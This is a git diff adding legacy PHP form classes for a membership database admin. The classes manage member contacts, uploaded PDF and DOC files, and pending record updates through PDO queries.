+                     WHEN 'true' THEN 'Can Mail'
+                     ELSE 'No Mail'
+                     END AS send_mail
+                FROM {$this->tableName}
+               WHERE member_id = :id
+                          ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $i = 0;
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $defaults["cid$i"]                      = $row['id'];
+                               $defaults["title$i"]            = $row['title'];
+                               $defaults["name$i"]             = $row['name'];
+                               $defaults["email$i"]            = $row['email'];
+                               $defaults["phone$i"]            = $row['phone'];
+                               $defaults["send_mail$i"]        = $row['send_mail'];
+                               ++$i;
+                       }
+                       $this->setupDefaults($defaults);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+        $e = array();
+               $contacts = $this->getMemberContacts();
+               //      All Grouped Elements are created here.
+               $submitText = (isset($_GET['cid'])) ? 'Update' : 'Submit';
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'fileHdr',
+            'display' => 'Contacts'
+        );
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'id'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'title',
+            'display' => 'Title',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'fname',
+            'display' => 'First Name',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'lname',
+            'display' => 'Last Name',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'email',
+            'display' => 'Email',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'phone',
+            'display' => 'Phone',
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'send_mail',
+            'display' => 'Receive Mail',
+            'val' => array(0, 1)
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit',
+            'display' => $submitText,
+            'opts' => array('class' => 'submit')
+        );
+               if (is_array($contacts)) {
+                       foreach ($contacts as $k => $v) {
+                               $e[] = array(
+                    'type' => 'header',
+                    'req' => false,
+                    'name' => "fileHdr$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "cid$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "name$k",
+                    'display' => 'Name'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "title$k"
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "email$k",
+                    'display' => 'Email'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "phone$k",
+                    'display' => 'Phone'
+                );
+                               $e[] = array(
+                    'type' => 'static',
+                    'req' => false,
+                    'name' => "send_mail$k",
+                    'display' => 'Receive Mail'
+                );
+                       }
+               }
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Wrapper function to handle setting up the form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+        //  form rules
+        $r = array();
+               $this->registeredRules = array('phone', 'email');
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Invalid Email Address!',
+            'type' => 'email',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        /*
+               $r[] = array(
+            'element' => 'phone',
+            'message' => 'ERROR: Invalid Phone Number!',
+            'type' => 'phone',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+        */
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{     getDelUrl()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+       public function getDelUrl($sec)
+       {
+               return $_SERVER['REQUEST_URI'] . "&d=t&cid={$sec->elements[0]->html}";
+       }
+
+       //      }}}
+       //      {{{     getEditUrl()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+       public function getEditUrl($sec)
+       {
+               return $_SERVER['REQUEST_URI'] . "&cid={$sec->elements[0]->html}";
+       }
+
+       //      }}}
+       //      {{{     getImgUrl()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $type Parameter description (if any) ...
+     *
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+       public function getImgUrl($type)
+       {
+               return BASE_URL . "assets/$type";
+       }
+
+       //      }}}
+       //      {{{     getMailIcon()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $sec Parameter description (if any) ...
+     *
+     * @return string Return description (if any) ...
+     * @access public
+     */
+       public function getMailIcon($sec)
+       {
+               $status = $sec->elements[5]->html;
+               $icon = ($status == 'No Mail') ? '-Not-Ok' : '-Ok';
+               return '<img width="27" height="27" title="'.$status.'" class="mail" alt="mail" src="'. BASE_URL . "assets/mail$icon.png" . '">';
+       }
+
+       //      }}}
+       //      {{{ getMemberContacts()
+
+       /**
+        * Get all the contacts data uploaded to a member into an array
+        *
+     * @return array member contacts
+        * @access protected
+        */
+       protected function getMemberContacts()
+       {
+        $c = array();
+               try {
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE member_id = :id
+                                ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch()) {
+                               $c[] = $row;
+                       }
+                       return $c;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access public
+     */
+       public function insertData($values)
+       {
+               unset(
+                       $values['id'],
+                       $values['target'],
+                       $values['submit']
+               );
+               $values['member_id'] = $_GET['id'];
+               try {
+                       $params = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+                       $sql = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)";
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => $v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } elseif ($metaData == 'double precision') {
+                                       $dataType = null;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ isForm()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $sec Parameter description (if any) ...
+     *
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+       public function isForm($sec)
+       {
+               return !$sec;
+       }
+
+       //      }}}
+       //      {{{     isName()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isName($name)
+       {
+               return (substr($name, 0, 4) == 'name') ? true : false;
+       }
+
+       //      }}}
+       //      {{{     isPhone()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isPhone($name)
+       {
+               return (substr($name, 0, 5) == 'phone') ? true : false;
+       }
+
+       //      }}}
+       //      {{{     isEmail()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isEmail($name)
+       {
+               return (substr($name, 0, 5) == 'email') ? true : false;
+       }
+
+       //      }}}
+       //      {{{     isTitle()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $name Parameter description (if any) ...
+     *
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+       public function isTitle($name)
+       {
+               return (substr($name, 0, 5) == 'title') ? true : false;
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return void     
+     * @access public
+     */
+       public function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+               if (empty($values['id'])) {
+                       $this->insertData($values);
+               } else {
+                       $this->updateData($values);
+               }
+               $listPage = BASE_URL .
+                       "admin/members.php?cat=2&subCat=2&tab=6&id={$_GET['id']}";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ removeContact()
+
+    /**
+     * Remove a contact from a member record
+     * 
+     * @param integer $cid contact id
+     * @param integer $mid member id
+     *
+     * @return void
+     * @access public
+     */
+       public function removeContact($cid, $mid)
+       {
+               try {
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE id = :cid
+                   AND member_id = :mid";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                       $stmt->bindParam(':mid', $mid, PDO::PARAM_INT);
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ show()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+       public function show()
+       {
+               if (isset($_GET['d'])) {
+                       $this->removeContact($_GET['cid']);
+                       $target = BASE_URL . 'admin/members.php?cat=2&subCat=2&tab=6&id=';
+                       $target .= $_GET['id'];
+                       header("Location: $target");
+               }
+               Toolkit_Common::show();
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return boolean   Return description (if any) ...
+     * @access public
+     */
+       public function updateData($values)
+       {
+               if (array_key_exists('delete', $values)) {
+                       $this->deleteFile($values);
+               }
+
+               unset(
+                       $values['target'],
+                       $values['submit']
+               );
+
+               try {
+                       $params = array_keys($values);
+                       $length = count($params);
+                       for ($i = 0; $i < $length; ++$i) {
+                               $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                if ($i < ($length - 1)) {
+                    $bindParams .= ', ';
+                }
+                       }
+                       $sql = "
+                               UPDATE {$this->tableName}
+                                  SET $bindParams
+                                WHERE id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $pid, PDO::PARAM_INT);
+                       foreach ($values as $k => $v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+                       return false;
+               }
+               return true;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberFile.php b/Toolkit/Members/EditMemberFile.php
new file mode 100644 (file)
index 0000000..24e10a0
--- /dev/null
@@ -0,0 +1,549 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Steve Sutton <steve@gaslightmedia.com>
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberFile.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Controls for uploading / editing files for a business record
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the business files. Form is not rendered until the user is added into the Database.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditMemberFile 
+       extends Toolkit_Members_EditMemberInfo implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data of the files
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_files';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editFile.tpl';
+
+       /**
+        * Where the uploaded files are stored.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $uploadDir = 'uploads/member_files/';
+
+       /**
+        * Message to return if the form successfully submits
+        *
+        * @var string
+        * @access protected
+        */
+    protected $successMsg = '
+        <div id="form-success-top">
+            You successfully updated your file.
+        </div>';
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               //      Make sure we have the upload directory actually created so we can store our uploaded files.
+               if (!is_dir(BASE . $this->uploadDir)) {
+                       $oldUmask = umask(0);
+                       mkdir(BASE . $this->uploadDir, 0770);
+                       umask($oldUmask);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               try {
+            $sql = "
+              SELECT *
+                FROM {$this->tableName}
+               WHERE member_id = :id
+                          ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $i = 0;
+                       $imgTag = '<img src="'.BASE_URL.'images/file-ext/pdf.png"
+                               alt="pdf Image" style="display: inline;"> ';
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $defaults["file$i"] = $row['id'];
+                               $defaults["file_name$i"] = (empty($row['file_name'])) ?
+                                       $row['original_name'] : $row['file_name'];
+
+                               $oname = (empty($row['file_name'])) ?
+                                       $row['original_name'] : $row['file_name'];
+                               $defaults["original_name$i"] = '<div class="thumb">' .
+                                               $imgTag . $oname . '</div>';
+                               ++$i;
+                       }
+                       $this->setupDefaults($defaults);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               $files = $this->getMemberFiles();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $elements[] = array('type' => 'header',         'req' => false, 'name' => 'fileHdr',            'display' => 'Files');
+               if (isset($_POST['uploaded_file_rmv'])) {
+                       $elements[] = array('type' => 'hidden',         'req' => false, 'name' => 'uploaded_file_rmv');
+               }
+               $elements[] = array('type' => 'text',           'req' => false, 'name' => 'file_name',          'display' => 'File Name');
+               $elements[] = array('type' => 'file',           'req' => false, 'name' => 'file_rmv',           'display' => 'Upload a File', 'opts' => array('class' => 'submit'));
+               $elements[] = array('type' => 'submit',         'req' => false, 'name' => 'submitNewFile',      'display' => 'Upload new file', 'opts' => array('class' => 'submit'));
+
+               if (is_array($files)) {
+                       foreach ($files as $k => $v) {
+                               $elements[] = array('type' => 'header', 'req' => false, 'name' => "fileHdr$k");
+                               $elements[] = array('type' => 'hidden', 'req' => false, 'name' => "file$k");
+                               $elements[] = array('type' => 'static', 'req' => false, 'name' => "original_name$k");
+                               $elements[] = array('type' => 'text',   'req' => false, 'name' => "file_name$k",                'display' => 'File Name', 'opts' => array('class' => 'text'));
+                               $elements[] = array('type' => 'submit', 'req' => false, 'name' => 'update',             'display' => 'Update File Name', 'opts' => array('class' => 'submit'));
+                               $elements[] = array('type' => 'submit', 'req' => false, 'name' => 'delete',                             'display' => 'Delete File', 'opts' => array('class' => 'photoDelete fileDelete'));
+                       }
+               }
+
+               $this->setupElements($elements);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Wrapper function to handle setting up the form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               $this->registeredRules = array('memberfile');
+               $mimeTypes = array(
+                       'application/pdf',
+                       'application/msword',
+               );
+
+        $r = array();
+
+               if (!empty($_FILES['file_rmv']['tmp_name'])) {
+                       $r[] = array(
+                'element' => 'file_rmv',
+                'message' => 'ERROR: Incorrect File Type (.pdf, .doc) only!',
+                'type' => 'mimetype',
+                'format' => $mimeTypes,
+                'validation' => $this->validationType,
+                'reset' => false,
+                'force' => false
+            );
+               }
+               $r[] = array(
+            'element' => 'file_rmv',
+            'message' => 'ERROR: Invalid File!',
+            'type' => 'memberfile',
+            'format' => array($this, false),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteFile()
+
+       /**
+        * Remove the file from the disk and delet from the database
+        *
+        * @param string $values Form values
+     *
+        * @return boolean 
+        * @access protected
+        */
+       protected function deleteFile($values)
+       {
+               try {
+                       $fid = $values["file{$values['target']}"];
+                       $this->dbh->beginTransaction();
+                       //      Get the file name so we know what to look for when we try to
+                       //      delete the file from the disk.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id      = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $fid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $file = $stmt->fetch(PDO::FETCH_ASSOC);
+                       //      Make sure the file actually exists, then try to remove it.
+                       if (file_exists(BASE . $this->uploadDir . $file['name_on_disk'])) {
+                               unlink(BASE . $this->uploadDir . $file['name_on_disk']);
+                       }
+
+                       //      Remove the photo from the updates table if one is present.
+                       $sql = "
+                DELETE FROM {$this->pendingTable}
+                 WHERE db_table     = '{$this->tableName}'
+                   AND member_id    = :member_id
+                   AND foreign_key  = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->bindParam(':id', $fid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       //      Remove the file from the member.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $fid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ findTargetFile()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return integer   Return description (if any) ...
+     * @access protected
+     */
+       protected function findTargetFile($values)
+       {
+               foreach ($values as $k => $v) {
+                       if (preg_match('/^file_name.+$/', $k, $matches)) {
+                               return substr($k, 9);
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{ getMemberFiles()
+
+       /**
+        * Get all the file data uploaded to a member into an array
+        *
+     * @return array member files
+        * @access protected
+        * @see    Toolkit_FormBuilder::setupDefaults()
+        */
+       protected function getMemberFiles()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE member_id = :id
+                                ORDER BY id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $files[] = $row;
+                       }
+                       return $files;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array   $values  Parameter description (if any) ...
+     * @param boolean $pending Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access public
+     */
+       public function insertData($values, $pending = false)
+       {
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+               $insertData['name_on_disk'] = $values['uploaded_file_rmv'];
+               $insertData['member_id'] = $_GET['id'];
+               $insertData['size'] = $values['file_rmv']['size'];
+               $insertData['original_name'] = $values['file_rmv']['name'];
+               $insertData['file_name'] = $values['file_name'];
+               $insertData['pending'] = $pending;
+               try {
+                       $params = implode(', ', array_keys($insertData));
+                       $bindParams = ':' . implode(', :', array_keys($insertData));
+                       $sql = "
+                               INSERT INTO {$this->tableName} ($params)
+                               VALUES ($bindParams)";
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($insertData as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+    }
+
+        //     }}}
+
+       //      {{{ processData()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return void     
+     * @access public
+     */
+       public function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+               $values['target'] = $this->findTargetFile($values);
+
+               if (array_key_exists('submitNewFile', $values)) {
+                       $this->insertData($values);
+               } else {
+                       $this->updateData($values);
+               }
+               $listPage = BASE_URL .
+                       "admin/members.php?cat=2&subCat=2&tab=5&id={$_REQUEST['id']}";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ showFile()
+
+       /**
+        * Used in the template to determine when to show the File
+        *
+        * Since the file tag falls outside of the normal flow of the section loop
+        * we need to determine early if we should display the file or not. Since
+        * the file is the only element that uses a "static" quickform element, 
+        * check to see if the first element type in a section is a static element
+        * and if so output the element (file).
+        *
+        * @param array $data The array of element objec
+     *
+        * @return boolean Whether an element is of type static or not.
+        * @access public
+        */
+       public function showFile($data)
+       {
+               return ($data->type == 'static');
+       }
+       
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return mixed     Return description (if any) ...
+     * @access public
+     */
+       public function updateData($values)
+       {
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteFile($values);
+               }
+               $target = $values['target'];
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case "file_name$target" :
+                               $values['file_name'] = $v;
+                               unset($values[$k]);
+                               break;
+
+                       case "file$target" :
+                               $pid = $v;
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                               unset($values[$k]);
+                               break;
+                       }
+               }
+
+               try {
+                       $params = array_keys($values);
+                       $length = count($params);
+                       for ($i = 0; $i < $length; ++$i) {
+                               $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                if ($i < ($length - 1)) {
+                    $bindParams .= ', ';
+                }
+                       }
+                       $sql = "
+                               UPDATE {$this->tableName}
+                                  SET $bindParams
+                                WHERE id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $pid, PDO::PARAM_INT);
+                       foreach ($values as $k => $v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               $stmt->bindParam(":$k", $values[$k], $dataType);
+                       }
+                       $stmt->execute();
+
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+                       return false;
+               }
+               return true;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberInfo.php b/Toolkit/Members/EditMemberInfo.php
new file mode 100644 (file)
index 0000000..3e67a47
--- /dev/null
@@ -0,0 +1,3109 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberInfo.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Edit member info stored in the database
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the member data.  Handles adding / editing module details, including:
+ * 1. Restaurants
+ * 2. Accommodations
+ * 3. Golfing
+ *
+ * Controls the addition of categories to a member record.  Categories have
+ * dynamic settings which allow users to dynamically set which categories are
+ * associated to which modules (golf, accommodations, restaurant, etc...).
+ * Depending on which category is selected and assigned to a member record
+ * controls which modules are displayed on the form.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com/admin/members.php?cat=2&subCat=2
+ * @see       Toolkit_Members, member_admin
+ */
+class Toolkit_Members_EditMemberInfo
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member';
+
+       /**
+        * Array of data that holds the meta data info on the table
+        *
+        * Contains information on the type of fields in the database.
+        * That way when we run our automated SQL queries with our PDO
+        * we can properly bind data to our SQL queries.  This will
+        * allow for one more layer of protection against any sql
+        * injection attempts.
+        *
+        * @var string
+        * @access public
+        * @see Toolkit_Common::processData()
+        */
+       public $tableMetaData;
+
+       /**
+        * Determines if member updates have to be approved if changed
+        *
+        * If set to true, all module info must be approved by admin before it
+        * will be displayed on the front end to visitors. This also includes
+        * ccard information.
+        *
+        * Since all member forms will be spawned from this class, if we put
+        * this value here we can set once / change once and affect the entire
+        * app if we need to alter this.  We can also set this up in any child
+        * class and override on individual classes if need be.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $strictPending = true;
+
+       /**
+        * The table used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $pendingTable = 'member_updates';
+
+       /**
+        * Determines if a member is in the pending state or not
+        *
+        * When the member has rows of data in the member_updates table in the DB
+        * they are considered "pending updates" until those changes are accepted
+        * or rejected by an admin user.
+        *
+        * @var string
+        * @access public
+        */
+       public $pending = false;
+
+       /**
+        * holds all the fields that are currently pending
+        *
+        * used in conjunction with the template, all fields that are in this
+        * list, will have a pending class for the <tr> row, so they can easily
+        * be identified.
+        *
+        * @var string
+        * @access public
